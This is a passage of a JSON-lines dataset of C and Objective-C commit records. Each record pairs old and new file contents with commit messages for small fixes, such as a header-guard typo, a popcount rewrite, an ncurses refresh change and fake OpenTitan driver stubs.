Cygwin\n","lang":"C","license":"mpl-2.0","repos":"Postgres-XL\/Postgres-XL,yazun\/postgres-xl,techdragon\/Postgres-XL,50wu\/gpdb,Postgres-XL\/Postgres-XL,pavanvd\/postgres-xl,xinzweb\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,ashwinstar\/gpdb,oberstet\/postgres-xl,50wu\/gpdb,oberstet\/postgres-xl,techdragon\/Postgres-XL,zeroae\/postgres-xl,ashwinstar\/gpdb,yazun\/postgres-xl,pavanvd\/postgres-xl,pavanvd\/postgres-xl,jmcatamney\/gpdb,techdragon\/Postgres-XL,pavanvd\/postgres-xl,xinzweb\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,Postgres-XL\/Postgres-XL,adam8157\/gpdb,xinzweb\/gpdb,zeroae\/postgres-xl,jmcatamney\/gpdb,adam8157\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,Postgres-XL\/Postgres-XL,zeroae\/postgres-xl,jmcatamney\/gpdb,techdragon\/Postgres-XL,lisakowen\/gpdb,oberstet\/postgres-xl,ashwinstar\/gpdb,adam8157\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,yazun\/postgres-xl,jmcatamney\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,ashwinstar\/gpdb,50wu\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,ovr\/postgres-xl,Postgres-XL\/Postgres-XL,ashwinstar\/gpdb,yazun\/postgres-xl,lisakowen\/gpdb,oberstet\/postgres-xl,xinzweb\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,oberstet\/postgres-xl,yazun\/postgres-xl,ashwinstar\/gpdb,ovr\/postgres-xl,50wu\/gpdb,xinzweb\/gpdb,zeroae\/postgres-xl,50wu\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,pavanvd\/postgres-xl,greenplum-db\/gpdb,50wu\/gpdb"}
{"commit":"a15f0d5910d660ab8cd5c9d98316115c88e16713","old_file":"Classes\/Core\/KWMatching.h","new_file":"Classes\/Core\/KWMatching.h","old_contents":"\/\/\n\/\/ Licensed under the terms in License.txt\n\/\/\n\/\/ Copyright 2010 Allen Ding. All rights reserved.\n\/\/\n\n#import \"KiwiConfiguration.h\"\n\n@protocol KWMatching<NSObject>\n\n#pragma mark - Initializing\n\n- (id)initWithSubject:(id)anObject;\n\n#pragma mark - Getting Matcher Strings\n\n+ (NSArray *)matcherStrings;\n\n#pragma mark - Getting Matcher Compatability\n\n+ (BOOL)canMatchSubject:(id)anObject;\n\n#pragma mark - Matching\n\n@optional\n\n@property (nonatomic, readonly) BOOL isNilMatcher;\n\n- (BOOL)shouldBeEvaluatedAtEndOfExample;\n- (BOOL)willEvaluateMultipleTimes;\n- (void)setWillEvaluateMultipleTimes:(BOOL)shouldEvaluateMultipleTimes;\n\n@required\n\n- (BOOL)evaluate;\n\n#pragma mark - Getting Failure Messages\n\n- (NSString *)failureMessageForShould;\n- (NSString *)failureMessageForShouldNot;\n\n@end\n","new_contents":"\/\/\n\/\/ Licensed under the terms in License.txt\n\/\/\n\/\/ Copyright 2010 Allen Ding. All rights reserved.\n\/\/\n\n#import \"KiwiConfiguration.h\"\n\n@protocol KWMatching<NSObject>\n\n#pragma mark - Initializing\n\n- (id)initWithSubject:(id)anObject;\n\n#pragma mark - Getting Matcher Strings\n\n+ (NSArray *)matcherStrings;\n\n#pragma mark - Getting Matcher Compatability\n\n+ (BOOL)canMatchSubject:(id)anObject;\n\n#pragma mark - Matching\n\n@optional\n\n- (BOOL)isNilMatcher;\n- (BOOL)shouldBeEvaluatedAtEndOfExample;\n- (BOOL)willEvaluateMultipleTimes;\n- (void)setWillEvaluateMultipleTimes:(BOOL)shouldEvaluateMultipleTimes;\n\n@required\n\n- (BOOL)evaluate;\n\n#pragma mark - Getting Failure Messages\n\n- (NSString *)failureMessageForShould;\n- (NSString *)failureMessageForShouldNot;\n\n@end\n","subject":"Use method declaration instead of property","message":"Use method declaration instead of property\n","lang":"C","license":"bsd-3-clause","repos":"carezone\/Kiwi,tangwei6423471\/Kiwi,emodeqidao\/Kiwi,weslindsay\/Kiwi,tcirwin\/Kiwi,LiuShulong\/Kiwi,weslindsay\/Kiwi,JoistApp\/Kiwi,tcirwin\/Kiwi,howandhao\/Kiwi,iosRookie\/Kiwi,weslindsay\/Kiwi,tonyarnold\/Kiwi,iosRookie\/Kiwi,allending\/Kiwi,tcirwin\/Kiwi,ecaselles\/Kiwi,PaulTaykalo\/Kiwi,ecaselles\/Kiwi,ecaselles\/Kiwi,indiegogo\/Kiwi,JoistApp\/Kiwi,tcirwin\/Kiwi,depop\/Kiwi,PaulTaykalo\/Kiwi,tangwei6423471\/Kiwi,LiuShulong\/Kiwi,samkrishna\/Kiwi,carezone\/Kiwi,hyperoslo\/Tusen,JoistApp\/Kiwi,iosRookie\/Kiwi,PaulTaykalo\/Kiwi,samkrishna\/Kiwi,cookov\/Kiwi,unisontech\/Kiwi,tangwei6423471\/Kiwi,indiegogo\/Kiwi,hyperoslo\/Tusen,LiuShulong\/Kiwi,depop\/Kiwi,weslindsay\/Kiwi,carezone\/Kiwi,LiuShulong\/Kiwi,allending\/Kiwi,carezone\/Kiwi,cookov\/Kiwi,unisontech\/Kiwi,TaemoonCho\/Kiwi,unisontech\/Kiwi,emodeqidao\/Kiwi,samkrishna\/Kiwi,emodeqidao\/Kiwi,howandhao\/Kiwi,indiegogo\/Kiwi,tangwei6423471\/Kiwi,hyperoslo\/Tusen,PaulTaykalo\/Kiwi,unisontech\/Kiwi,allending\/Kiwi,howandhao\/Kiwi,howandhao\/Kiwi,iosRookie\/Kiwi,tonyarnold\/Kiwi,emodeqidao\/Kiwi,tonyarnold\/Kiwi,tonyarnold\/Kiwi,JoistApp\/Kiwi,ecaselles\/Kiwi,indiegogo\/Kiwi,cookov\/Kiwi,TaemoonCho\/Kiwi,TaemoonCho\/Kiwi,depop\/Kiwi,depop\/Kiwi,samkrishna\/Kiwi,cookov\/Kiwi,allending\/Kiwi,TaemoonCho\/Kiwi,hyperoslo\/Tusen"}
{"commit":"a48ecd50079818e7a4d1444a1d14aebefb9cbb67","old_file":"FringeFM\/FFMSongUpdater.h","new_file":"FringeFM\/FFMSongUpdater.h","old_contents":"\/\/\n\/\/  FFMSongUpdater.h\n\/\/  FringeFM\n\/\/\n\/\/  Created by John Sheets on 6\/10\/12.\n\/\/  Copyright (c) 2012 John Sheets. All rights reserved.\n\/\/\n\/\/ MIT License\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#import <Foundation\/Foundation.h>\n\n@class FFMSong;\n\n@interface FFMSongUpdater : NSObject\n\n@property (nonatomic, strong) NSImage *icon;\n@property (nonatomic) NSTimeInterval updateFrequency;\n\n- (FFMSong *)fetchCurrentSong;\n- (BOOL)isServiceAvailable;\n- (BOOL)isServicePlaying;\n\n@end\n","new_contents":"\/\/\n\/\/  FFMSongUpdater.h\n\/\/  FringeFM\n\/\/\n\/\/  Created by John Sheets on 6\/10\/12.\n\/\/  Copyright (c) 2012 John Sheets. All rights reserved.\n\/\/\n\/\/ MIT License\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#import <Foundation\/Foundation.h>\n\n@class FFMSong;\n\n@interface FFMSongUpdater : NSObject\n\n@property (nonatomic, strong) NSImage *icon;\n@property (nonatomic) NSUInteger updateFrequency;\n\n- (FFMSong *)fetchCurrentSong;\n- (BOOL)isServiceAvailable;\n- (BOOL)isServicePlaying;\n\n@end\n","subject":"Switch song updater updateFrequency from NSTimeInterval (length of time) to NSUInteger (number of counter seconds to skip).","message":"Switch song updater updateFrequency from NSTimeInterval (length of time) to NSUInteger (number of counter seconds to skip).\n","lang":"C","license":"mit","repos":"jsheets\/FringeFM"}
{"commit":"5e55843bb8ed1ec7d134a759c53e34beb1618952","old_file":"include\/asm-mn10300\/ipcbuf.h","new_file":"include\/asm-mn10300\/ipcbuf.h","old_contents":"#ifndef _ASM_IPCBUF_H_\n#define _ASM_IPCBUF_H\n\n\/*\n * The ipc64_perm structure for MN10300 architecture.\n * Note extra padding because this structure is passed back and forth\n * between kernel and user space.\n *\n * Pad space is left for:\n * - 32-bit mode_t and seq\n * - 2 miscellaneous 32-bit values\n *\/\n\nstruct ipc64_perm\n{\n\t__kernel_key_t\t\tkey;\n\t__kernel_uid32_t\tuid;\n\t__kernel_gid32_t\tgid;\n\t__kernel_uid32_t\tcuid;\n\t__kernel_gid32_t\tcgid;\n\t__kernel_mode_t\t\tmode;\n\tunsigned short\t\t__pad1;\n\tunsigned short\t\tseq;\n\tunsigned short\t\t__pad2;\n\tunsigned long\t\t__unused1;\n\tunsigned long\t\t__unused2;\n};\n\n#endif \/* _ASM_IPCBUF_H *\/\n","new_contents":"#ifndef _ASM_IPCBUF_H\n#define _ASM_IPCBUF_H\n\n\/*\n * The ipc64_perm structure for MN10300 architecture.\n * Note extra padding because this structure is passed back and forth\n * between kernel and user space.\n *\n * Pad space is left for:\n * - 32-bit mode_t and seq\n * - 2 miscellaneous 32-bit values\n *\/\n\nstruct ipc64_perm\n{\n\t__kernel_key_t\t\tkey;\n\t__kernel_uid32_t\tuid;\n\t__kernel_gid32_t\tgid;\n\t__kernel_uid32_t\tcuid;\n\t__kernel_gid32_t\tcgid;\n\t__kernel_mode_t\t\tmode;\n\tunsigned short\t\t__pad1;\n\tunsigned short\t\tseq;\n\tunsigned short\t\t__pad2;\n\tunsigned long\t\t__unused1;\n\tunsigned long\t\t__unused2;\n};\n\n#endif \/* _ASM_IPCBUF_H *\/\n","subject":"Fix typo in header guard","message":"MN10300: Fix typo in header guard\n\nFix a typo in the header guard of asm\/ipc.h.\n\nSigned-off-by: Vegard Nossum <c9abf7248a519119ccb31f4fd3c3a4e0b6ebd20b@gmail.com>\nSigned-off-by: David Howells <ebac1d06c1688626821bb0e574a037a7a5354e49@redhat.com>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"da16baebce5c500fa77b346e18a68e0e31c453f4","old_file":"set\/prod.c","new_file":"set\/prod.c","old_contents":"int set_empty(void)\n{\n\treturn 0;\n}\n\nint set_size(int set)\n{\n\tint size = 0;\n\twhile (set)\n\t{\n\t\tsize += set & 1;\n\t\tset >>= 1;\n\t}\n\treturn size;\n}\n\nint set_add(int set, int element)\n{\n\treturn set | (1 << element);\n}\n\n","new_contents":"int set_empty(void)\n{\n\treturn 0;\n}\n\nint set_size(int set)\n{\n\t\/* Bit-Twiddling Hacks *\/\n\t\/* TODO: shall export to bits module to provide more robust solutions\n\t * based on hardware capabilities (eg. popcount instruction) *\/\n\tset = set - ((set >> 1) & ~(unsigned int)0\/3);\n\tset = (set & ~(unsigned int)0\/15*3) + ((set >> 2) & ~(unsigned int)0\/15*3);\n\tset = (set + (set >> 4)) & ~(unsigned int)0\/255*15;\n\treturn (set * (~(unsigned int)0\/255)) >> (sizeof(int) - 1) * 8;\n}\n\nint set_add(int set, int element)\n{\n\treturn set | (1 << element);\n}\n\n","subject":"Optimize counting size of larger sets","message":"[SET] REFACTOR: Optimize counting size of larger sets\n","lang":"C","license":"mit","repos":"w3ln4\/open"}
{"commit":"78207b6e00ed9a4d296bbfce43da63b1e034a84e","old_file":"spinlock.h","new_file":"spinlock.h","old_contents":"#pragma once\n\n#define\tSPINLOCK_DEBUG\t\t1\n\n\/\/ Mutual exclusion lock.\nstruct spinlock {\n  u32 locked;       \/\/ Is the lock held?\n\n#if SPINLOCK_DEBUG\n  \/\/ For debugging:\n  char *name;        \/\/ Name of lock.\n  struct cpu *cpu;   \/\/ The cpu holding the lock.\n  uptr pcs[10];      \/\/ The call stack (an array of program counters)\n                     \/\/ that locked the lock.\n#endif\n};\n\nstatic inline const char *lockname(struct spinlock *s)\n{\n#if SPINLOCK_DEBUG\n  return s->name ?: \"null\";\n#else\n  return \"unknown\";\n#endif\n}\n","new_contents":"#pragma once\n\n#define\tSPINLOCK_DEBUG\t\t1\n\n\/\/ Mutual exclusion lock.\nstruct spinlock {\n  u32 locked;       \/\/ Is the lock held?\n\n#if SPINLOCK_DEBUG\n  \/\/ For debugging:\n  char *name;        \/\/ Name of lock.\n  struct cpu *cpu;   \/\/ The cpu holding the lock.\n  uptr pcs[10];      \/\/ The call stack (an array of program counters)\n                     \/\/ that locked the lock.\n#endif\n};\n\n#if SPINLOCK_DEBUG\n#define lockname(s) ((s)->name ?: \"null\")\n#else\n#define lockname(s) (\"unknown\")\n#endif\n","subject":"Make lockname(s) a macro instead of a inline.","message":"Make lockname(s) a macro instead of a inline.\n","lang":"C","license":"mit","repos":"aclements\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6,aclements\/sv6,aclements\/sv6,bowlofstew\/sv6,bowlofstew\/sv6,bowlofstew\/sv6,bowlofstew\/sv6"}
{"commit":"4705e8ddf88e130ce1899366e2647176ce6d9407","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include \"backend.h\"\n#include \"frontend.h\"\n#include <ncurses.h>\n\nint main() {\n  initscr();\n  cbreak();\n  noecho();\n  keypad(stdscr, TRUE); \/\/ make keys work\n  curs_set(0); \/\/ hide cursor\n  timeout(100);\n\n  int xmax;\n  int ymax;\n  getmaxyx(stdscr, ymax, xmax);\n  enum Direction dir = RIGHT;\n\n  Board* board = create_board(create_snake(), NULL, xmax, ymax);\n  int i;\n  for (i = 0; i < 6; i++) {\n    add_new_food(board);\n  }\n\n  while(true) {\n    erase();\n    display_points(board->snake, ACS_BLOCK);\n    display_points(board->foods, ACS_DIAMOND);\n    dir = get_next_move(dir);\n    enum Status status = move_snake(board, dir);\n    if (status == FAILURE) break;\n  }\n  endwin();\n\n  return 0;\n}\n","new_contents":"#include \"backend.h\"\n#include \"frontend.h\"\n#include <ncurses.h>\n\nint main() {\n  initscr();\n  cbreak();\n  noecho();\n  keypad(stdscr, TRUE); \/\/ make keys work\n  curs_set(0); \/\/ hide cursor\n  timeout(100);\n\n  int xmax;\n  int ymax;\n  getmaxyx(stdscr, ymax, xmax);\n  enum Direction dir = RIGHT;\n\n  Board* board = create_board(create_snake(), NULL, xmax, ymax);\n  int i;\n  for (i = 0; i < 6; i++) {\n    add_new_food(board);\n  }\n\n  while(true) {\n    clear();\n    display_points(board->snake, ACS_BLOCK);\n    display_points(board->foods, ACS_DIAMOND);\n    refresh();\n    dir = get_next_move(dir);\n    enum Status status = move_snake(board, dir);\n    if (status == FAILURE) break;\n  }\n  endwin();\n\n  return 0;\n}\n","subject":"Call `clear` and `refresh` to update screen","message":"Call `clear` and `refresh` to update screen\n","lang":"C","license":"mit","repos":"jvns\/snake,jvns\/snake"}
{"commit":"fcd34497864825e90f2c0331278142e10dec2ae0","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"\/\/ Copyright (c) 2016 Brian Barto\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or modify it\n\/\/ under the terms of the MIT License. See LICENSE for more details.\n\n#ifndef MAIN_H\n#define MAIN_H 1\n\n#define VERSION          \"0.1.0\"\n#define DEFAULT_KEY_NAME \"default\"\n#define DEFAULT_KEY_PATH \".config\/mirrorcrypt\/\"\n#define GRID_SIZE        24\n#define SUPPORTED_CHARS  \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+{}[]|\\\\:; \\n\\t\\\"'<>,.?\/~\"\n\n#endif\n","new_contents":"\/\/ Copyright (c) 2016 Brian Barto\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or modify it\n\/\/ under the terms of the MIT License. See LICENSE for more details.\n\n#ifndef MAIN_H\n#define MAIN_H 1\n\n#define VERSION          \"0.1.0\"\n#define DEFAULT_KEY_NAME \"default\"\n#define DEFAULT_KEY_PATH \".config\/mrrcrypt\/\"\n#define GRID_SIZE        24\n#define SUPPORTED_CHARS  \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+{}[]|\\\\:; \\n\\t\\\"'<>,.?\/~\"\n\n#endif\n","subject":"Change config dir name to mrrcrypt","message":"Change config dir name to mrrcrypt\n\n\tmodified:   src\/main.h\n","lang":"C","license":"mit","repos":"bartobri\/mirror-crypt"}
{"commit":"262e8b301b1369581e80af57508e55035cf78916","old_file":"sw\/device\/lib\/testing\/test_rom\/english_breakfast_fake_driver_funcs.c","new_file":"sw\/device\/lib\/testing\/test_rom\/english_breakfast_fake_driver_funcs.c","old_contents":"","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/silicon_creator\/lib\/drivers\/lifecycle.h\"\n#include \"sw\/device\/silicon_creator\/lib\/drivers\/otp.h\"\n#include \"sw\/device\/silicon_creator\/lib\/drivers\/rstmgr.h\"\n\n\/\/ TODO(#12905): This file includes fake definitions for the functions that are\n\/\/ used by the silicon_creator bootstrap implementation but missing in the\n\/\/ english breakfast top level due to hardware limitations.\n\n#if !OT_IS_ENGLISH_BREAKFAST\n#error \"This file should be compiled only for the english breakfast top level\"\n#endif\n\nvoid lifecycle_hw_rev_get(lifecycle_hw_rev_t *hw_rev) {\n  *hw_rev = (lifecycle_hw_rev_t){\n      .chip_gen = 0,\n      .chip_rev = 0,\n  };\n}\n\nuint32_t otp_read32(uint32_t address) { return kHardenedBoolTrue; }\n\nvoid rstmgr_reset(void) {\n  while (true) {\n  }\n}\n","subject":"Add fake functions for hardware missing in english breakfast","message":"[sw\/test_rom] Add fake functions for hardware missing in english breakfast\n\nSigned-off-by: Alphan Ulusoy <23b245cc5a07aacf75a9db847b24c67dee1707bf@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"0272010e05ecc508be41317eb8f392a78a707eab","old_file":"src\/util.c","new_file":"src\/util.c","old_contents":"","new_contents":"\/**\n * @file \t  util.c\n * @author \t  Bryce Davis\n * @date      19 November 2015\n * @brief     Header file for internal libbad declarations\n * @copyright Copyright (c) 2015, Bryce Davis. Released under the MIT License.\n *            See LICENSE.txt for details.\n *\/\n\n#include <stdio.h>\n\n#include \"libbad_base.h\"\n\n\/**\n * @brief      A nicer function to print an integer from a DATA\n *\n * @param      d     A pointer to a DATA\n *\/\n#define data_print_int(d) data_fprint_int(stdin, (d))\n\n\/**\n * @brief      Print an integer from a DATA\n *\n * @param      out   a pointer to the output file\n * @param      data  a pointer to a DATA\n *\/\nvoid data_fprint_int(FILE* out, DATA data)\n{\n\tfprintf(out, \"%lld\", data.data_int);\n}\n","subject":"Implement function to print an integer from a DATA","message":"Implement function to print an integer from a DATA\n","lang":"C","license":"mit","repos":"mahimahi42\/libbad"}
{"commit":"d257a1c2e1d577e7902d47696b9f98ece299e7dd","old_file":"src\/dnscap_common.h","new_file":"src\/dnscap_common.h","old_contents":"\/*\n * setup MY_BPFTIMEVAL as the timeval structure that bpf packets\n * will be assoicated with packets from libpcap\n *\/\n#ifdef __OpenBSD__\n# define MY_BPFTIMEVAL bpf_timeval\n#endif\n#ifndef MY_BPFTIMEVAL\n# define MY_BPFTIMEVAL timeval\n#endif\ntypedef struct MY_BPFTIMEVAL my_bpftimeval;\n\n\n\/*\n * Structure to contain IP addresses\n *\/\ntypedef struct {\n        int                     af;\n        union {\n                struct in_addr          a4;\n                struct in6_addr         a6;\n        } u;\n} iaddr;\n\n\/*\n * plugins can call the logerr() function in the main dnscap\n * process.\n *\/\ntypedef int logerr_t(const char *fmt, ...);\n\n\/*\n * Prototype for the plugin \"output\" function\n *\/\ntypedef void output_t(const char *descr,\n        iaddr from,\n        iaddr to,\n        uint8_t proto,\n        int isfrag,\n        unsigned sport,\n        unsigned dport,\n        my_bpftimeval ts,\n        const u_char *pkt_copy,\n        unsigned olen,\n        const u_char *dnspkt,\n        unsigned dnslen);\n\n#define DIR_INITIATE\t0x0001\n#define DIR_RESPONSE\t0x0002\n","new_contents":"#include <netinet\/in.h>\n\n\/*\n * setup MY_BPFTIMEVAL as the timeval structure that bpf packets\n * will be assoicated with packets from libpcap\n *\/\n#ifndef MY_BPFTIMEVAL\n# define MY_BPFTIMEVAL timeval\n#endif\ntypedef struct MY_BPFTIMEVAL my_bpftimeval;\n\n\n\/*\n * Structure to contain IP addresses\n *\/\ntypedef struct {\n        int                     af;\n        union {\n                struct in_addr          a4;\n                struct in6_addr         a6;\n        } u;\n} iaddr;\n\n\/*\n * plugins can call the logerr() function in the main dnscap\n * process.\n *\/\ntypedef int logerr_t(const char *fmt, ...);\n\n\/*\n * Prototype for the plugin \"output\" function\n *\/\ntypedef void output_t(const char *descr,\n        iaddr from,\n        iaddr to,\n        uint8_t proto,\n        int isfrag,\n        unsigned sport,\n        unsigned dport,\n        my_bpftimeval ts,\n        const u_char *pkt_copy,\n        unsigned olen,\n        const u_char *dnspkt,\n        unsigned dnslen);\n\n#define DIR_INITIATE\t0x0001\n#define DIR_RESPONSE\t0x0002\n","subject":"Fix compilation on FreeBSD and OpenBSD","message":"Fix compilation on FreeBSD and OpenBSD\n","lang":"C","license":"isc","repos":"verisign\/dnscap,verisign\/dnscap"}
{"commit":"39878a58e58dfa4029c0ddfc2f3c45098fe06466","old_file":"libgdi\/gdi_shape.h","new_file":"libgdi\/gdi_shape.h","old_contents":"\/*\n   FreeRDP: A Remote Desktop Protocol client.\n   GDI Shape Functions\n\n   Copyright 2010-2011 Marc-Andre Moreau <marcandre.moreau@gmail.com>\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#ifndef __GDI_SHAPE_H\n#define __GDI_SHAPE_H\n\n#include \"gdi.h\"\n\nint Ellipse(HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect);\nint Polygon(HDC hdc, POINT *lpPoints, int nCount);\nint FillRect(HDC hdc, HRECT rect, HBRUSH hbr);\n\n#endif \/* __GDI_SHAPE_H *\/\n","new_contents":"\/*\n   FreeRDP: A Remote Desktop Protocol client.\n   GDI Shape Functions\n\n   Copyright 2010-2011 Marc-Andre Moreau <marcandre.moreau@gmail.com>\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#ifndef __GDI_SHAPE_H\n#define __GDI_SHAPE_H\n\n#include \"gdi.h\"\n\nvoid ShapeInit();\nint Ellipse(HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect);\nint Polygon(HDC hdc, POINT *lpPoints, int nCount);\nint FillRect(HDC hdc, HRECT rect, HBRUSH hbr);\n\n#endif \/* __GDI_SHAPE_H *\/\n","subject":"Fix missing declaration for ShapeInit()","message":"Fix missing declaration for ShapeInit()\n","lang":"C","license":"apache-2.0","repos":"FreeRDP\/FreeRDP-old,FreeRDP\/FreeRDP-old,FreeRDP\/FreeRDP-old"}
{"commit":"cb14a9aaa5fa50b22982f14aeab7d9f2f634ea3d","old_file":"tests\/vio_tests\/check_vio_file_stat.c","new_file":"tests\/vio_tests\/check_vio_file_stat.c","old_contents":"#include \"support.h\"\n\n#include \"vio\/csync_vio_file_stat.h\"\n\nSTART_TEST (check_csync_vio_file_stat_new)\n{\n  csync_vio_file_stat_t *stat = NULL;\n\n  stat = csync_vio_file_stat_new();\n  fail_if(stat == NULL, NULL);\n\n  csync_vio_file_stat_destroy(stat);\n}\nEND_TEST\n\n\nstatic Suite *csync_vio_suite(void) {\n  Suite *s = suite_create(\"csync_vio_file_stat\");\n\n  create_case(s, \"check_csync_vio_file_stat_new\", check_csync_vio_file_stat_new);\n\n  return s;\n}\n\nint main(void) {\n  int nf;\n\n  Suite *s = csync_vio_suite();\n\n  SRunner *sr;\n  sr = srunner_create(s);\n#if 0\n  srunner_set_fork_status(sr, CK_NOFORK);\n#endif\n  srunner_run_all(sr, CK_VERBOSE);\n  nf = srunner_ntests_failed(sr);\n  srunner_free(sr);\n\n  return (nf == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n\n","new_contents":"#include \"support.h\"\n\n#include \"vio\/csync_vio_file_stat.h\"\n\nSTART_TEST (check_csync_vio_file_stat_new)\n{\n  csync_vio_file_stat_t *tstat = NULL;\n\n  tstat = csync_vio_file_stat_new();\n  fail_if(tstat == NULL, NULL);\n\n  csync_vio_file_stat_destroy(tstat);\n}\nEND_TEST\n\n\nstatic Suite *csync_vio_suite(void) {\n  Suite *s = suite_create(\"csync_vio_file_stat\");\n\n  create_case(s, \"check_csync_vio_file_stat_new\", check_csync_vio_file_stat_new);\n\n  return s;\n}\n\nint main(void) {\n  int nf;\n\n  Suite *s = csync_vio_suite();\n\n  SRunner *sr;\n  sr = srunner_create(s);\n#if 0\n  srunner_set_fork_status(sr, CK_NOFORK);\n#endif\n  srunner_run_all(sr, CK_VERBOSE);\n  nf = srunner_ntests_failed(sr);\n  srunner_free(sr);\n\n  return (nf == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n\n","subject":"Fix build warning for shadowed variable.","message":"Fix build warning for shadowed variable.\n","lang":"C","license":"lgpl-2.1","repos":"meeh420\/csync,gco\/csync,meeh420\/csync,gco\/csync,meeh420\/csync,gco\/csync,gco\/csync"}
